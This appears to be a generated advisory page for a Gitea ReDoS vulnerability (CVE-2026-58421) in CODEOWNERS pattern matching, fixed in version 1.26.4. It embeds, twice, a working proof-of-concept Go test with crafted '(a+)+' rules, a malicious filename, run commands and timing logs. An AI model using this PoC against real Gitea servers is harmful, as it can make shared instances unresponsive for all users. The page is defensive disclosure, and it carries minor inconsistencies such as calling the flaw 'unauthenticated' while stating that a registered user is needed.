CVE-2026-58421: Gitea Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-v96j-25gv-g2w9
CVSS 7.5
CWE-284
Published
Advisory Summary

CVE-2026-58421 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-284: Improper Access Control) affecting Gitea libraries in the Go ecosystem. The issue involves unauthenticated redos via codeowners pattern matching allows denial of service. Remediation is available by upgrading affected packages to version 1.26.4.

CVE-2026-58421 at a Glance

CVE Identifier CVE-2026-58421
GHSA Identifier GHSA-v96j-25gv-g2w9
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-284: Improper Access Control
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-58421

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.26.4
Upgrade code.gitea.io/gitea to 1.26.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58421, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.26.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

This issue has been found by a security agent and review by myself. Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path. ### Who can trigger it Any registered user on the instance. The attacker needs only: 1. A repository they own (created via normal signup) 2. A `CODEOWNERS` file on the default branch containing malicious patterns 3. A pull request branch containing a file with a crafted name No elevated permissions, no admin access, no existing repositories required. ### How it is triggered The attacker pushes a CODEOWNERS file containing repeated instances of a catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request from a branch that contains a file named with a long string of repeated characters followed by a non-matching character (e.g. `aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates each CODEOWNERS rule against each changed file path — with no timeout — causing the server to hang for the duration of the backtracking. ### Impact Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users. ### Root cause The vulnerable regex is here: https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886 ### PoC Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times. This is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`. `tests/integration/pull_redos_test.go` ```go package integration // TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability // triggered via the full pull.NewPullRequest call chain. // // POST /api/v1/repos/{owner}/{repo}/pulls // -> routers/api/v1/repo/pull.go:CreatePullRequest // -> pull.NewPullRequest (services/pull/pull.go) // -> db.WithTx <- holds DB connection for duration of hang // -> issues_model.NewPullRequest <- inserts PR into DB // -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS // -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking) // // The attacker controls both sides of the match: // - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout) // - PR changed file: "aaa...X" forces O(2^N) backtracking states import ( "fmt" "net/http" "net/url" "strings" "testing" "time" auth_model "gitea.dev/models/auth" user_model "gitea.dev/models/user" "gitea.dev/models/unittest" "gitea.dev/modules/git" api "gitea.dev/modules/structs" repo_service "gitea.dev/services/repository" files_service "gitea.dev/services/repository/files" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) { onGiteaRun(t, func(t *testing.T, u *url.URL) { user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{ Name: "redos-codeowners", Readme: "Default", AutoInit: true, ObjectFormatName: git.Sha1ObjectFormat.Name(), DefaultBranch: "main", }, true) require.NoError(t, err) // Push malicious CODEOWNERS to the default branch. // 11 identical rules × 1 changed file = 11 sequential MatchString calls. // Each call takes ~2.8s (25-char late-failing input), totalling ~30s. // ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout). var codeowners strings.Builder for range 11 { codeowners.WriteString("(a+)+ @user2\n") } _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{ OldBranch: repo.DefaultBranch, Files: []*files_service.ChangeRepoFile{ { Operation: "create", TreePath: "CODEOWNERS", ContentReader: strings.NewReader(codeowners.String()), }, }, }) require.NoError(t, err) // Create a PR branch containing a file whose path is a late-failing input // for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces // backtracking through O(2^N) states (~2.8s per rule at 25 chars). maliciousFilename := strings.Repeat("a", 25) + "X" _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{ NewBranch: "attack", Files: []*files_service.ChangeRepoFile{ { Operation: "create", TreePath: maliciousFilename, ContentReader: strings.NewReader("x"), }, }, }) require.NoError(t, err) // Obtain an API token for user2 and submit the PR creation request. // This calls pull.NewPullRequest which runs issues_model.NewPullRequest and // PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB // connection for the duration of the backtracking hang. session := loginUser(t, user2.Name) token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository) start := time.Now() req := NewRequestWithJSON(t, http.MethodPost, fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name), &api.CreatePullRequestOption{ Title: "ReDoS PoC", Head: "attack", Base: repo.DefaultBranch, }, ).AddTokenAuth(token) MakeRequest(t, req, http.StatusCreated) elapsed := time.Since(start) t.Logf("pull.NewPullRequest completed in %s", elapsed) assert.Greater(t, elapsed, 25*time.Second, "expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised") }) } ``` Now run: ``` # 1. Build the binary (needed for git hooks during repo creation) make build # 2. Run the test go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/ ``` When the unit test starts, you should see that it takes 30 seconds with the following output: ``` === TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42) testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost) testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost) testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest) testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest) pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s +++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs) --- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s) PASS ``` You can modify the "11" number in the CODEOWNERS file to manage execution speed directly: ```go for range 11 { codeowners.WriteString("(a+)+ @user2\n") } ``` A higher number of lines will increase the execution time.

CVE-2026-58421 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.26.4
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.26.4
1.26.4

References

Frequently Asked Questions

What is CVE-2026-58421?
CVE-2026-58421 is a security vulnerability in Gitea involving Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service under CWE-284: Improper Access Control.
Which Gitea versions are affected?
Affected versions include releases prior to 1.26.4 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58421?
Upgrading to 1.26.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.26.4. Upgrade your dependency to 1.26.4 or later.
What is the CVSS score of CVE-2026-58421?
CVE-2026-58421 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-58421?
CVE-2026-58421 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-58421?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v96j-25gv-g2w9",
  "modified" : "2026-07-21T20:34:33Z",
  "published" : "2026-07-21T20:34:33Z",
  "aliases" : [ "CVE-2026-58421" ],
  "summary" : "Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service",
  "details" : "This issue has been found by a security agent and review by myself.\n\nGitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.\n\n### Who can trigger it\n\nAny registered user on the instance. The attacker needs only:\n1. A repository they own (created via normal signup)\n2. A `CODEOWNERS` file on the default branch containing malicious patterns\n3. A pull request branch containing a file with a crafted name\n\nNo elevated permissions, no admin access, no existing repositories required.\n\n### How it is triggered\n\nThe attacker pushes a CODEOWNERS file containing repeated instances of a\ncatastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request\nfrom a branch that contains a file named with a long string of repeated\ncharacters followed by a non-matching character (e.g.\n`aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates\neach CODEOWNERS rule against each changed file path — with no timeout — causing\nthe server to hang for the duration of the backtracking.\n\n### Impact\n\nEvery pull request creation runs this evaluation inside a database transaction. A\nhung evaluation holds that transaction open, tying up a database connection for\nthe entire duration. With 11 rules in the CODEOWNERS file, a single pull request\ncreation request takes over 30 seconds. An attacker opening multiple pull\nrequests in parallel can exhaust the database connection pool, making the Gitea\ninstance unresponsive to all users.\n\n### Root cause\n\nThe vulnerable regex is here: \n\nhttps://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886\n\n### PoC\n\nBelow is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.\n\nThis is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`.\n\n`tests/integration/pull_redos_test.go`\n```go\npackage integration\n\n// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability\n// triggered via the full pull.NewPullRequest call chain.\n//\n// POST /api/v1/repos/{owner}/{repo}/pulls\n//   -> routers/api/v1/repo/pull.go:CreatePullRequest\n//   -> pull.NewPullRequest (services/pull/pull.go)\n//   -> db.WithTx                              <- holds DB connection for duration of hang\n//     -> issues_model.NewPullRequest          <- inserts PR into DB\n//     -> PullRequestCodeOwnersReview          <- evaluates CODEOWNERS\n//       -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)\n//\n// The attacker controls both sides of the match:\n//   - CODEOWNERS pattern: \"(a+)+\" compiled as ^(a+)+$ with regexp2.None (no timeout)\n//   - PR changed file:    \"aaa...X\" forces O(2^N) backtracking states\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tuser_model \"gitea.dev/models/user\"\n\t\"gitea.dev/models/unittest\"\n\t\"gitea.dev/modules/git\"\n\tapi \"gitea.dev/modules/structs\"\n\trepo_service \"gitea.dev/services/repository\"\n\tfiles_service \"gitea.dev/services/repository/files\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, u *url.URL) {\n\t\tuser2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})\n\n\t\trepo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{\n\t\t\tName:             \"redos-codeowners\",\n\t\t\tReadme:           \"Default\",\n\t\t\tAutoInit:         true,\n\t\t\tObjectFormatName: git.Sha1ObjectFormat.Name(),\n\t\t\tDefaultBranch:    \"main\",\n\t\t}, true)\n\t\trequire.NoError(t, err)\n\n\t\t// Push malicious CODEOWNERS to the default branch.\n\t\t// 11 identical rules × 1 changed file = 11 sequential MatchString calls.\n\t\t// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.\n\t\t// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).\n\t\tvar codeowners strings.Builder\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{\n\t\t\tOldBranch: repo.DefaultBranch,\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      \"CODEOWNERS\",\n\t\t\t\t\tContentReader: strings.NewReader(codeowners.String()),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Create a PR branch containing a file whose path is a late-failing input\n\t\t// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces\n\t\t// backtracking through O(2^N) states (~2.8s per rule at 25 chars).\n\t\tmaliciousFilename := strings.Repeat(\"a\", 25) + \"X\"\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{\n\t\t\tNewBranch: \"attack\",\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      maliciousFilename,\n\t\t\t\t\tContentReader: strings.NewReader(\"x\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Obtain an API token for user2 and submit the PR creation request.\n\t\t// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and\n\t\t// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB\n\t\t// connection for the duration of the backtracking hang.\n\t\tsession := loginUser(t, user2.Name)\n\t\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)\n\n\t\tstart := time.Now()\n\t\treq := NewRequestWithJSON(t, http.MethodPost,\n\t\t\tfmt.Sprintf(\"/api/v1/repos/%s/%s/pulls\", user2.Name, repo.Name),\n\t\t\t&api.CreatePullRequestOption{\n\t\t\t\tTitle: \"ReDoS PoC\",\n\t\t\t\tHead:  \"attack\",\n\t\t\t\tBase:  repo.DefaultBranch,\n\t\t\t},\n\t\t).AddTokenAuth(token)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\t\telapsed := time.Since(start)\n\n\t\tt.Logf(\"pull.NewPullRequest completed in %s\", elapsed)\n\t\tassert.Greater(t, elapsed, 25*time.Second,\n\t\t\t\"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised\")\n\t})\n}\n```\n\nNow run:\n\n```\n# 1. Build the binary (needed for git hooks during repo creation)\nmake build\n\n# 2. Run the test\ngo test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/\n```\n\nWhen the unit test starts, you should see that it takes 30 seconds with the following output:\n```\n=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)\n    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)\n    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)\n    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)\n    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s\n+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)\n--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)\nPASS\n```\n\nYou can modify the \"11\" number in the CODEOWNERS file to manage execution speed directly: \n```go\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n```\n\nA higher number of lines will increase the execution time.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.26.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.26.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-v96j-25gv-g2w9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-58421"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38011"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/ea35af1b68d57522c7686618bd61d3216d91589f"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:34:33Z",
    "nvd_published_at" : "2026-07-03T21:17:05Z"
  }
}